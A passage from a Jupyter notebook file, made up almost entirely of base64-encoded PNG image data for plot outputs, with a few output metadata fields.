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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + }, + { + "data": { + "image/png": "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